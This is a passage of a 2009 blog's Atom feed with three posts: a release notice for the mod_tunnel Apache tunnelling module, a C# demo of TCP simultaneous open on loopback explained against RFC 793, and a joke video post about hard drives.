        <link href="http://www.tellini.info/blog/archives/79-mod_tunnel-for-Apache-2.2.x.html" rel="alternate" title="mod_tunnel for Apache 2.2.x" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-04-13T00:52:07Z</published>
        <updated>2009-04-13T00:52:07Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=79</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=79</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/4-Software" label="Software" term="Software" />
            <category scheme="http://www.tellini.info/blog/categories/11-SysAdmin" label="SysAdmin" term="SysAdmin" />
    
        <id>http://www.tellini.info/blog/archives/79-guid.html</id>
        <title type="html">mod_tunnel for Apache 2.2.x</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls.<br />
<br />
After <em>only</em> 4 years since the previous version, you can now download version 2.0 which works with Apache 2.2.x (and maybe 2.0.x, but I haven't tested it).<br />
<br />
You'll find it on <a href="https://sourceforge.net/projects/mod-tunnel/" title="mod_tunnel on sourceforge.net">sourceforge</a>. 
            </div>
        </content>
        <dc:subject>apache</dc:subject>
<dc:subject>firewall</dc:subject>
<dc:subject>networking</dc:subject>
<dc:subject>proxy</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>sysadmin</dc:subject>
<dc:subject>tunnel</dc:subject>

    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/78-Connection-without-a-listening-socket.html" rel="alternate" title="Connection without a listening socket?" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-02-10T20:25:00Z</published>
        <updated>2009-02-09T23:17:50Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=78</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=78</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/9-Software-Development" label="Software Development" term="Software Development" />
    
        <id>http://www.tellini.info/blog/archives/78-guid.html</id>
        <title type="html">Connection without a listening socket?</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I've encountered a network problem that left me a bit puzzled.<br />
<br />
Usually, when you want to setup a TCP connection between two sockets (let's called them S1 and S2), you need to perform these steps on the server:<br />
<br />
<ul><br />
 <li> create S1</li><br />
 <li> bind S1 to a port (or to a port/address, if you need to)</li><br />
 <li> set S1 to listen for connections</li><br />
</ul><br />
<br />
on the client:<br />
<br />
<ul><br />
 <li> create S2</li><br />
 <li> tell S2 to connect to S1 </li><br />
</ul><br />
<br />
and finally, the server receives the connection attempt and accepts it to remove it from the backlog of the listening socket.<br />
<br />
Well, apparently there's another way, which I suspect few know about.<br />
<br />
Check out this simple application:<br />
<br />
<div class="csharp geshi" style="text-align: left"><br /><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br /><span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Net</span><span style="color: #008000;">;</span><br /><span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Net.Sockets</span><span style="color: #008000;">;</span><br /><span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Threading</span><span style="color: #008000;">;</span><br /><br /><span style="color: #0600FF;">namespace</span> SocketTest<br /><span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; <span style="color: #FF0000;">class</span> Program<br />&#160; &#160; &#160; &#160; <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IPEndPoint &#160; &#160; &#160; a <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> IPEndPoint<span style="color: #000000;">&#40;</span> IPAddress.<span style="color: #0000FF;">Loopback</span>, <span style="color: #FF0000;">18000</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IPEndPoint &#160; &#160; &#160; b <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> IPEndPoint<span style="color: #000000;">&#40;</span> IPAddress.<span style="color: #0000FF;">Loopback</span>, <span style="color: #FF0000;">18001</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> Main<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">string</span><span style="color: #000000;">&#91;</span><span style="color: #000000;">&#93;</span> args<span style="color: #000000;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Thread&#160; threadA <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Thread<span style="color: #000000;">&#40;</span> ThreadA <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Thread&#160; threadB <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Thread<span style="color: #000000;">&#40;</span> ThreadB <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; threadB.<span style="color: #0000FF;">Start</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; threadA.<span style="color: #0000FF;">Start</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> ThreadA<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">for</span><span style="color: #000000;">&#40;</span><span style="color: #008000;">;;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">try</span> <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Socket sock <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Socket<span style="color: #000000;">&#40;</span> a.<span style="color: #0000FF;">AddressFamily</span>, SocketType.<span style="color: #0000FF;">Stream</span>, ProtocolType.<span style="color: #0000FF;">Tcp</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; sock.<span style="color: #0000FF;">Bind</span><span style="color: #000000;">&#40;</span> b <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; sock.<span style="color: #0000FF;">Connect</span><span style="color: #000000;">&#40;</span> a <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span> <span style="color: #666666;">&quot;Connected from &quot;</span> <span style="color: #008000;">+</span> b <span style="color: #008000;">+</span> <span style="color: #666666;">&quot; to &quot;</span> <span style="color: #008000;">+</span> a <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Thread.<span style="color: #0000FF;">Sleep</span><span style="color: #000000;">&#40;</span> Timeout.<span style="color: #0000FF;">Infinite</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">catch</span> <span style="color: #000000;">&#123;</span> &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> ThreadB<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">for</span><span style="color: #000000;">&#40;</span><span style="color: #008000;">;;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">try</span> <span style="color: #000000;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Socket sock <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> Socket<span style="color: #000000;">&#40;</span> b.<span style="color: #0000FF;">AddressFamily</span>, SocketType.<span style="color: #0000FF;">Stream</span>, ProtocolType.<span style="color: #0000FF;">Tcp</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; sock.<span style="color: #0000FF;">Bind</span><span style="color: #000000;">&#40;</span> a <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; sock.<span style="color: #0000FF;">Connect</span><span style="color: #000000;">&#40;</span> b <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span> <span style="color: #666666;">&quot;Connected from &quot;</span> <span style="color: #008000;">+</span> a <span style="color: #008000;">+</span> <span style="color: #666666;">&quot; to &quot;</span> <span style="color: #008000;">+</span> b <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Thread.<span style="color: #0000FF;">Sleep</span><span style="color: #000000;">&#40;</span> Timeout.<span style="color: #0000FF;">Infinite</span> <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0600FF;">catch</span> <span style="color: #000000;">&#123;</span> &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br />&#160; &#160; &#160; &#160; <span style="color: #000000;">&#125;</span><br /><span style="color: #000000;">&#125;</span><br />&#160;</div><br />
<br />
Let's see what happens compiling and running it:<br />
<br />
<!-- s9ymdb:11 --><img class="serendipity_image_center" width="552" height="68" style="border: 0px; padding-left: 5px; padding-right: 5px;" src="http://www.tellini.info/blog/uploads/Screenshots/ConnectionWithoutListening.png" alt="" /><br />
<br />
Yes, you get a connection between the two sockets. It's something I was never told about and I would have never expected to see. But it's correct as per <a href="http://www.ibiblio.org/pub/docs/rfc/rfc793.txt">RFC 793</a>.<br />
<br />
I've found out about it when a couple of clients on a test system started connecting between themselves, while they were supposed to connect to 2 different servers on localhost. Both clients were periodically trying to connect to their server, which was down. They were creating a new socket for every attempt, without binding it, thus Windows' TCP/IP stack assigned a sequential port number to them. Eventually, the two processes reached the configuration required for the "Simultaneous Connection Synchronization" as described in the RFC.<br />
<br />
Interesting. I guess you live and you learn. 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.tellini.info/blog/archives/77-Dont-shout-at-your-hard-drives!.html" rel="alternate" title="Don't shout at your hard drives!" />
        <author>
            <name>Simone</name>
                    </author>
    
        <published>2009-01-05T21:47:43Z</published>
        <updated>2009-01-05T21:47:43Z</updated>
        <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=77</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=77</wfw:commentRss>
    
            <category scheme="http://www.tellini.info/blog/categories/6-Fun" label="Fun" term="Fun" />
            <category scheme="http://www.tellini.info/blog/categories/11-SysAdmin" label="SysAdmin" term="SysAdmin" />
    
        <id>http://www.tellini.info/blog/archives/77-guid.html</id>
        <title type="html">Don't shout at your hard drives!</title>
        <content type="xhtml" xml:base="http://www.tellini.info/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                It appears that hard drives don't like it...<br />
<br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/tDacjrSCeq4&color1=0xb1b1b1&color2=0xcfcfcf&hl=es&feature=player_embedded&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/tDacjrSCeq4&color1=0xb1b1b1&color2=0xcfcfcf&hl=es&feature=player_embedded&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br />
<br />
It also proves that some sysadmins have far too much time to spare. <img src="http://www.tellini.info/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>
        <dc:subject>drives</dc:subject>
<dc:subject>fun</dc:subject>
<dc:subject>shouting</dc:subject>
<dc:subject>sysadmin</dc:subject>

    </entry>

</feed>